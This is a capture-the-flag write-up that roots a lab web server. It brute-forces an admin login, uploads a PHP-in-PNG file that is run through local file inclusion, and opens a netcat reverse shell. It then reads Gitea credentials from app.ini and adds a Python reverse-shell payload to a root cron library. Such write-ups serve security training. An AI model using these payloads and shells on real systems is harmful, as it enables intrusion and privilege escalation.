TL;DR

  • Find the Gitea service
  • Create a wordlist from the website
  • Connect to the admin part of the website
  • Upload a PNG file with PHP inside
  • Use LFI to call this PNG file and get a web shell
  • Find git’s password in a configuration file
  • Hijack a python library to get root

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/Penteeeest$ sudo nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN Penteeeest.txt 172.22.0.2
# Nmap 7.60 scan initiated Wed Apr 15 19:23:53 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN Penteeeest.txt 172.22.0.2
Nmap scan report for 172.22.0.2
Host is up, received arp-response (0.000038s latency).
Scanned at 2020-04-15 19:23:53 CEST for 104s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b0:3b:9e:7c:75:c9:e7:b1:71:db:3f:76:d3:7e:f8:86 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsChSsDoJrYlF+VzbKUFIuq1reArIx3qZB24k4JrTqDjBoPFBeD5CXNPaEneMX0rsFwbLSbaT38kUpTeQreMExnXhUF07EFpygPqj7ZGNXyawzHRb0rieIDKCKGA9hXpAMgXXCVf+CaUBVVK7ESk1SEaaESRF8dGoEBi4SUKcvIlmMGfWM7XdKXrkU/jWC5VVF5HFtSegYsDmEypak9PFvzy8B95dla4pERmg7c7jNVSq2Yo8vfy7pcIID+DZ+gC4OGr/8Nu85tnD9jUKJX3NfPgOSf0Lq2VvZJE+ttznRfW91m/Zx7C2w4orLJfrUhmUiNFrCOtoGh8APnvH/M0dr
|   256 3a:2f:36:3d:1e:b6:2a:c5:f4:4e:2a:c5:25:7c:d9:67 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLW3NyhSjQwFpqkMvCdpKbT6QJ6fSK+yytG5GQHFM15rXsBhrkkbcJiyzIUrQ54aZ02p+cB52F/wBFSnINzwkVA=
|   256 69:0e:f1:61:10:70:49:da:98:4f:09:bb:14:e5:d6:19 (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKgkR4ylZeEXE9OIf/+7wtfzoLOPIIjdpn9dRbS7ewrP
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Michael's Life
3000/tcp open  ppp?    syn-ack ttl 64
| fingerprint-strings:
|   GenericLines, Help:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=1bb9c3f71818b2f0; Path=/; HttpOnly
|     Set-Cookie: _csrf=UxVwTI1pwhA0ZXGa6svgVZks0kw6MTU4Njk3MTQ2MTAxNTMzODgxNw; Path=/; Expires=Thu, 16 Apr 2020 17:24:21 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Wed, 15 Apr 2020 17:24:21 GMT
|     <!DOCTYPE html>
|     <html lang="en-US">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <script>
|     ('serviceWorker' in navigator) {
|     navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|     console.info('ServiceWorker registration successful with
|   HTTPOptions:
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=23dae649487f1c14; Path=/; HttpOnly
|     Set-Cookie: _csrf=ISQQmRYrs6enkglRV04qf89iqTk6MTU4Njk3MTQ2NjA0ODAxOTM1NQ; Path=/; Expires=Thu, 16 Apr 2020 17:24:26 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Wed, 15 Apr 2020 17:24:26 GMT
|     <!DOCTYPE html>
|     <html lang="en-US">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <script>
|     ('serviceWorker' in navigator) {
|     navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|_    console.info('ServiceWorker regis
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.60%I=7%D=4/15%Time=5E974344%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=1bb9c3f71818b2f0;
SF:\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=UxVwTI1pwhA0ZXGa6svgVZk
SF:s0kw6MTU4Njk3MTQ2MTAxNTMzODgxNw;\x20Path=/;\x20Expires=Thu,\x2016\x20Ap
SF:r\x202020\x2017:24:21\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEOR
SF:IGIN\r\nDate:\x20Wed,\x2015\x20Apr\x202020\x2017:24:21\x20GMT\r\n\r\n<!
SF:DOCTYPE\x20html>\n<html\x20lang=\"en-US\">\n<head\x20data-suburl=\"\">\
SF:n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"viewport\"\x20content
SF:=\"width=device-width,\x20initial-scale=1\">\n\t<meta\x20http-equiv=\"x
SF:-ua-compatible\"\x20content=\"ie=edge\">\n\t<title>\x20Gitea:\x20Git\x2
SF:0with\x20a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20
SF:href=\"/manifest\.json\"\x20crossorigin=\"use-credentials\">\n\t\n\t<sc
SF:ript>\n\t\tif\x20\('serviceWorker'\x20in\x20navigator\)\x20{\n\t\t\tnav
SF:igator\.serviceWorker\.register\('/serviceworker\.js'\)\.then\(function
SF:\(registration\)\x20{\n\t\t\t\t\n\t\t\t\tconsole\.info\('ServiceWorker\
SF:x20registration\x20successful\x20with\x20")%r(Help,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,1000,
SF:"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html;\x20cha
SF:rset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x20Max-Age=21474836
SF:47\r\nSet-Cookie:\x20i_like_gitea=23dae649487f1c14;\x20Path=/;\x20HttpO
SF:nly\r\nSet-Cookie:\x20_csrf=ISQQmRYrs6enkglRV04qf89iqTk6MTU4Njk3MTQ2NjA
SF:0ODAxOTM1NQ;\x20Path=/;\x20Expires=Thu,\x2016\x20Apr\x202020\x2017:24:2
SF:6\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Wed
SF:,\x2015\x20Apr\x202020\x2017:24:26\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<h
SF:tml\x20lang=\"en-US\">\n<head\x20data-suburl=\"\">\n\t<meta\x20charset=
SF:\"utf-8\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,\x20initial-scale=1\">\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20
SF:content=\"ie=edge\">\n\t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\
SF:x20Git\x20with\x20a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manif
SF:est\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-credentials\">\n
SF:\t\n\t<script>\n\t\tif\x20\('serviceWorker'\x20in\x20navigator\)\x20{\n
SF:\t\t\tnavigator\.serviceWorker\.register\('/serviceworker\.js'\)\.then\
SF:(function\(registration\)\x20{\n\t\t\t\t\n\t\t\t\tconsole\.info\('Servi
SF:ceWorker\x20regis");
MAC Address: 02:42:AC:16:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 15 19:25:37 2020 -- 1 IP address (1 host up) scanned in 104.59 seconds

So we find 3 useful services on 3 ports:

  • SSH (22)
  • Apache (80)
  • Gitea (3000)

Let’s check the webserver:

The website is a standard blog, with some article and pictures about Beer, Badger, Bamboo & Brownie.

Let’s see the Gitea:

Ok, so we have access to the entire source code of the website.

We know we have an admin part, that the website was previously hacked and the login form has been disabled.

Here’s the login part:

<?php

  if ((isset($_POST['login']) && isset($_POST['password'])) || isset($_POST['secret_question']))
  {
    $result = 'This feature is currently disabled.';
    if (isset($_POST['login']) && isset($_POST['password']))
    {
      if ($_POST['login'] === 'Michael' && $_POST['password'] === str_replace(array("\n", "\r", " "), '', file_get_contents('creds.txt'))) {
        // $_COOKIE['username'] = $_POST['login'];
        // $_COOKIE['password'] = $_POST['password'];
        //
        // $result = "Successfully Login!\n";
      }
      else {
        $result = "Wrong Username/Password\n";
      }
    }
    else {
      if ($_POST['secret_question'] !== 'Badger')
      {
        $result = "Wrong anwser\n";
      }
      else {
        // Todo: Reset password and configure sending email
      }
    }
  }
?>
  <!DOCTYPE html>
  <html lang="en">
  <head>
    <title>Michael's Life</title>
  	<meta charset="UTF-8">
  	<meta name="description" content="Michael Blog">
  	<meta name="keywords" content="michael, html">
  	<meta name="viewport" content="width=device-width, initial-scale=1.0">

  	<!-- Favicon -->
  	<link href="../img/favicon.ico" rel="shortcut icon"/>

  	<!-- Google font -->
  	<link href="https://fonts.googleapis.com/css?family=Poppins:300,300i,400,400i,500,500i,600,600i,700,700i&display=swap" rel="stylesheet">

  	<!-- Stylesheets -->
  	<link rel="stylesheet" href="../css/bootstrap.min.css"/>
  	<link rel="stylesheet" href="../css/font-awesome.min.css"/>
  	<link rel="stylesheet" href="../css/magnific-popup.css"/>
  	<link rel="stylesheet" href="../css/slicknav.min.css"/>
  	<link rel="stylesheet" href="../css/owl.carousel.min.css"/>

  	<!-- Main Stylesheets -->
    <link rel="stylesheet" href="../css/style.css"/>
  	<link rel="stylesheet" href="style.css"/>


  	<!--[if lt IE 9]>
  		<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
  		<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
  	<![endif]-->

  </head>

  <!-- Header section  -->
  <header class="header-section hs-bd">
    <a href="../index.html" class="site-logo">
      <img src='../img/logo.png' alt='logo'>
    </a>
    <div class="header-controls">
      <button class="nav-switch-btn"><i class="fa fa-bars"></i></button>
    </div>
    <ul class="main-menu">
      <li><a href="index.php">Home</a></li>
      <li><a href="upload.php">Upload</a></li>
    </ul>
  </header>
  <div class="clearfix"></div>
  <!-- Header section end  -->

  <body>
  	<!-- Page Preloder -->
  	<div id="preloder">
  		<div class="loader"></div>
  	</div>
    <div class="container">
      <div class="col-md-12">
          <h2><?php echo $result;?></h2>
      <div>
    </div>

  	<!--====== Javascripts & Jquery ======-->
  	<script src="../js/jquery-3.2.1.min.js"></script>
  	<script src="../js/bootstrap.min.js"></script>
  	<script src="../js/jquery.slicknav.min.js"></script>
  	<script src="../js/owl.carousel.min.js"></script>
  	<script src="../js/jquery.magnific-popup.min.js"></script>
  	<script src="../js/circle-progress.min.js"></script>
  	<script src="../js/mixitup.min.js"></script>
  	<script src="../js/instafeed.min.js"></script>
  	<script src="../js/masonry.pkgd.min.js"></script>
  	<script src="../js/main.js"></script>

  	</body>
  </html>

We know the username (Michael) but we have to find his password and it isn’t in the git.

If we try to access the admin part of the website we found the following page:

OSINT

So from the closed issue we spotted earlier, we know that the new password follows this philosophy:

something I could easily remember but more complicated (numbers, lowercase, uppercase etc).

If we try to reset the password, we find the following question:

Answer the secret question to reset your password. What’s your favorite animal?

We can choose between Squirrel, Sasquatch, Badger and Octopus.

We have the following message for Squirrel, Sasquatch and Octopus: “Wrong answer” but if we select Badger we have this message: “This feature is currently disabled.”

So his favorite animal is the Badger, he wrotes articles about it, it seems logical.

By reading the articles on the blog we found out:

  • There’s an upload part that resizes pictures, each article has it’s own picture.
  • He was previously hacked and the hacker uploaded ‘Dumb Pictures’, and the attacker has guessed his password.
  • The login form is closed.
  • He uses versionning (Gitea).
  • He loves Badger, Beer, Bamboo and Brownie
  • He’s 28 years old and is birthday is the 11th of February and it’s also his ‘Beerthday’.

Admin access

We can use the following script to brute force the login form (we won’t be able to log in with it, but if we guess the right password, we’ll have this message “This feature is currently disabled.").

# coding: utf-8
import requests
import itertools

if __name__ == '__main__':
    url = 'http://172.22.0.2/admin/login.php'

    successful_message = "This feature is currently disabled."

    keyword = ['beer', 'badger', 'brownie', 'bamboo']

    birth = 2020 - 28

    for value in keyword:
        for word in map(''.join, itertools.product(*((c.upper(), c.lower()) for c in value))):
            password = word + str(birth)
            request = requests.post(url, data={'login': 'Michael', 'password': password})

            if successful_message in request.text:
                print("The password is: {}".format(password))
                exit()

The password is Badger1992.

We just have to set our cookies with username=Michael and password=Badger1992.

Web shell

We find an upload form in the admin part, here’s the source code.

<?php
if (isset($_COOKIE['username']) && isset($_COOKIE['password']) && $_COOKIE['username'] == 'Michael' && $_COOKIE['password'] === str_replace(array("\n", "\r", " "), '', file_get_contents('creds.txt'))) {
  $size = array(
    "width" => 32,
    "height" => 32
  );

  $dir = "../blog/uploads/";

  if (isset($_FILES['upload']) && $_FILES['upload']['error'] === 0) {
      $check = getimagesize($_FILES["upload"]["tmp_name"]);

      $file_extension = pathinfo($_FILES["upload"]["name"], PATHINFO_EXTENSION);

      if (!file_exists($_FILES["upload"]["tmp_name"])) {
          $response = array(
              "type" => "error",
              "message" => "Choose image file to upload."
          );
      }
      else if ($file_extension !== "png") {
          $response = array(
              "type" => "error",
              "message" => "Upload valid images. Only PNG and JPEG are allowed."
          );
      }
      else if (($_FILES["upload"]["size"] > 2000000)) {
          $response = array(
              "type" => "error",
              "message" => "Image size exceeds 2MB"
          );
      }
      else if ($check['mime'] !== "image/png")
      {
        $response = array(
            "type" => "error",
            "message" => "Invalid mimetype"
        );
      }
      else {
          $target = imagecreatetruecolor($size['width'], $size['height']);

          imagecopyresampled($target, imagecreatefromstring(file_get_contents($_FILES["upload"]["tmp_name"])), 0, 0, 0, 0, $size['width'], $size['height'], $check[0], $check[1]);

          if (imagepng($target, $dir.basename($_FILES["upload"]["name"]))) {
              $response = array(
                  "type" => "success",
                  "message" => "Image uploaded successfully."
              );
          } else {
              $response = array(
                  "type" => "error",
                  "message" => "Problem in uploading image files."
              );
          }
      }
  }
  else {
    $response = array(
        "type" => "error",
        "message" => "No file provided."
    );
  }

  echo $response['type'].": ".$response['message'];
}
else {
  echo 'Invalid Credentials.';
}
?>

It seems that we can only upload PNG files, that image we’ll be resized (32x32) and moved in the /blog/uploads/ directory.

By checking the source code of the other web pages, we see something interesting in the blog.php file:

<?php
	if (isset($_GET['article']))
	{
		$file = str_replace('../', '', $_GET['article']);

		if (is_numeric($file))
			$file = 'blog_'.$file.'.html';

		if (strpos($file, 'blog_') !== false && strpos($file, 'html') !== false) {
			include(dirname(__FILE__).'/blog/'.$file);
		}
		else {
			echo 'Invalid Format';
		}
	}
	else
	{
		include(dirname(__FILE__).'/blog.html');
	}
?>

We can include any files under the blog directory if the file has *blog_* and *html* in its name.

So if we upload a PNG image called blog_html.png we’ll be able to include it.

According to this article “encoding web shells in png idat chunks” it’s possible to put php code in a png image. It even gives an image with a payload in it.

If we upload this image, we have this message “success: Image uploaded successfully.”.

Let’s try to call it with the LFI (http://172.22.0.2/blog.php?article=uploads/blog_html.png).

Ok, we can use the LFI to call our payload, let’s use it to get a reverse shell.

magnussen@funcMyLife:~/Penteeeest$ wget "http://172.22.0.2/blog.php?article=/uploads/blog_html.png&0=shell_exec" --post-data "1=nc 192.168.1.94 7777 -e /bin/bash"
--2020-04-15 20:41:21--  http://172.22.0.2/blog.php?article=/uploads/blog_html.png&0=shell_exec
Connecting to 172.22.0.2:80... connected.
HTTP request sent, awaiting response...

magnussen@funcMyLife:~/Penteeeest$ nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 172.22.0.2 50800 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nice we have a shell!

Switch user

We found out there’s a git user and that the gitea service uses a configuration file called app.ini.

ls -alh /home
total 12K
drwxr-xr-x  3 root root 4.0K Apr 15 17:20 .
drwxr-xr-x 22 root root 4.0K Apr 15 17:22 ..
drwxr-x---  5 git  git  4.0K Apr 15 17:23 git
ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4504   704 ?        Ss   17:22   0:00 /bin/sh /usr/sbin/apache2ctl -DFOREGROUND
mysql       44  0.0  0.0   4504  1716 ?        S    17:22   0:00 /bin/sh /usr/bin/mysqld_safe
mysql      395  0.1  1.2 1486520 208456 ?      Sl   17:22   0:07 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 --log-syslog=1 --log-syslog-facility=daemon --log-syslog-tag=
root       459  0.0  0.0  26068  2548 ?        S    17:23   0:00 cron -f
git        462  1.3  0.9 1713156 147636 ?      Sl   17:23   1:07 /usr/local/bin/gitea web -c /etc/gitea/app.ini
root       469  0.0  0.0  65512  3908 ?        Ss   17:23   0:00 /usr/sbin/sshd
root       471  0.0  0.1 286516 27460 ?        S    17:23   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   477  0.0  0.0 286856 14088 ?        S    17:23   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   478  0.0  0.0 286984 12928 ?        S    17:23   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   480  0.0  0.0 286984 13544 ?        S    17:23   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   535  0.0  0.0 286976 12964 ?        S    17:29   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   536  0.0  0.0 286976 13428 ?        S    17:29   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   537  0.0  0.0 286992 12936 ?        S    17:29   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   825  0.0  0.0 286676  9560 ?        S    18:35   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   826  0.0  0.0 286724 12064 ?        S    18:35   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   827  0.0  0.0 286928 12980 ?        S    18:35   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   831  0.0  0.0 286784 12196 ?        S    18:36   0:00 /usr/sbin/apache2 -DFOREGROUND
www-data   889  0.0  0.0   4504   704 ?        S    18:41   0:00 sh -c nc 192.168.1.94 7777 -e /bin/bash
www-data   890  0.0  0.0  18024  2836 ?        S    18:41   0:00 bash
www-data   904  0.0  0.0  34424  2844 ?        R    18:44   0:00 ps -aux

We find the git password in this file:

cat /etc/gitea/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_USER = git
RUN_PASSWD = B33r_Bamboo_Michael
RUN_MODE = prod

[oauth2]
JWT_SECRET = oUqiXymhOjxmvtHWNYVilt4QNWMvLGVwDd3V_CnYqsk

[security]
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE1ODY4Nzk4NzZ9.UAB_BOzaC0N3jz_t1prqY_Ipo1neSs7pxqnxnO8f1XA
INSTALL_LOCK   = true
SECRET_KEY     = LJlnrqXYDJEstw7sZbu9R9EQzHisotxe3br8TYwnIsr8qzkWHp1tfOgy8p7lRvR0

[database]
DB_TYPE  = mysql
HOST     = 127.0.0.1:3306
NAME     = gitea
USER     = gitea
PASSWD   = B33r_Bamboo_Michael
SSL_MODE = disable
CHARSET  = utf8
PATH     = /var/lib/gitea/data/gitea.db

[repository]
ROOT = /home/git/gitea-repositories

[server]
SSH_DOMAIN       = localhost
DOMAIN           = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
LFS_START_SERVER = false
OFFLINE_MODE     = false

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM            = false
ENABLE_NOTIFY_MAIL                = false
DISABLE_REGISTRATION              = false
ALLOW_ONLY_EXTERNAL_REGISTRATION  = false
ENABLE_CAPTCHA                    = false
REQUIRE_SIGNIN_VIEW               = false
DEFAULT_KEEP_EMAIL_PRIVATE        = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING       = true
NO_REPLY_ADDRESS                  = noreply.localhost

[picture]
DISABLE_GRAVATAR        = false
ENABLE_FEDERATED_AVATAR = true

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[session]
PROVIDER = file

[log]
MODE      = file
LEVEL     = info
ROOT_PATH = /var/lib/gitea/log

Let’s try to connect to this user with SSH:

magnussen@funcMyLife:~/Penteeeest$ ssh git@172.22.0.2
The authenticity of host '172.22.0.2 (172.22.0.2)' can't be established.
ECDSA key fingerprint is SHA256:iAgfx6RD/v7KNmtgYVmUWDTfNuljmzgfui7fB52/EgQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.22.0.2' (ECDSA) to the list of known hosts.
git@172.22.0.2's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-96-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

git@9d6e00150d84:~$ id
uid=107(git) gid=109(git) groups=109(git)
git@9d6e00150d84:~$ cat
.cache/             .ssh/               gitea-repositories/
.gitconfig          backup/             user.txt            
git@9d6e00150d84:~$ cat user.txt
shkCTF{juSt_h4v3_t0_pr1v3sc_n0w_6bb4369a853e943339aab363e22869cd}

Yes! We have the first flag!

I AM ROOT

Library Hijacking

So, we find a few interesting things:

git@9d6e00150d84:~$ ls -alh
total 32K
drwxr-xr-x 6 git  git  4.0K Apr 15 18:49 .
drwxr-xr-x 3 root root 4.0K Apr 15 17:20 ..
drwx------ 2 git  git  4.0K Apr 15 18:49 .cache
-rw-rw-r-- 1 git  git    73 Apr 15 17:23 .gitconfig
drwxr-xr-x 2 git  git  4.0K Apr 15 17:21 .ssh
drwxr-xr-x 2 git  git  4.0K Apr 15 17:24 backup
drwxr-xr-x 3 git  git  4.0K Apr 15 17:21 gitea-repositories
-rw-rw-r-- 1 git  git    66 Apr 11 18:57 user.txt
git@9d6e00150d84:~$ ls -alh backup/
total 32K
drwxr-xr-x 2 git  git  4.0K Apr 15 17:24 .
drwxr-xr-x 6 git  git  4.0K Apr 15 18:49 ..
-rw-r--r-- 1 root root  24K Apr 15 18:50 backup.zip
git@9d6e00150d84:~$ cat /etc/cron.d
cron.d/     cron.daily/
git@9d6e00150d84:~$ cat /etc/cron.d/
.placeholder  backup        php           
git@9d6e00150d84:~$ cat /etc/cron.d/backup
SHELL=/bin/bash
* * * * * /usr/bin/python -c "import backup;backup.backup('/var/www/html/blog', '/home/git/backup/backup.zip').run()" 2>&1
#
git@9d6e00150d84:~$ python -c 'import sys; print(sys.path)'
['', '/etc/python2.7', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages']

There’s a cron job that back up the blog articles every minute, it seems to use a custom library called backup.

There’s an odd entry in the Python Path, /etc/python2.7.

Let’s check that directory:

git@9d6e00150d84:~$ ls -alh /etc/python2.7/
total 24K
drwxr-xr-x  2 root root 4.0K Apr 15 17:24 .
drwxr-xr-x 66 root root 4.0K Apr 15 17:22 ..
-rw-r--r--  1 root root    0 Apr 15 17:22 __init__.py
-rwxrw----  1 root git   508 Apr 15 16:36 backup.py
-rw-r-----  1 root root 1.2K Apr 15 17:24 backup.pyc
-rw-r--r--  1 root root  155 Oct  8  2019 sitecustomize.py
-rw-r--r--  1 root root  228 Apr 15 17:24 sitecustomize.pyc
git@9d6e00150d84:~$ cat /etc/python2.7/backup.py
import os
import zipfile

class backup():
    def __init__(self, folder_in, folder_out):
        self.__folder_in = folder_in
        self.__zip_out = folder_out
        self.__zipf = zipfile.ZipFile(self.__zip_out, 'w', zipfile.ZIP_DEFLATED)

    def __zipdir(self, ziph):
        for root, dirs, files in os.walk(self.__folder_in):
            for file in files:
                self.__zipf.write(os.path.join(root, file))

    def run(self):
        self.__zipdir(self.__zipf)
        self.__zipf.close()

It’s a custom library and we can write in it!

Let’s add the following payload in the run function, as the cron is executed as root, we’ll have root privileges with this reverse shell.

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.94",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
magnussen@funcMyLife:~/Penteeeest$ nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 172.22.0.2 50868 received!
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# ls -alh
total 24K
drwx------  3 root root 4.0K Apr 15 17:23 .
drwxr-xr-x 22 root root 4.0K Apr 15 17:22 ..
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4.0K Apr 15 17:10 .composer
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-rw-r--  1 root root  188 Apr 11 18:57 root.txt
# cat root.txt
GG! Hope you liked this challenge, don't hesitate to DM me @_magnussen_ on Twitter to tell me what you thought about it.

shkCTF{w0w_y0u'r3_4_Tru3_h4ck3r_b4c2679666641be61feb6919e83f2777}

Yeah! We got the last flag.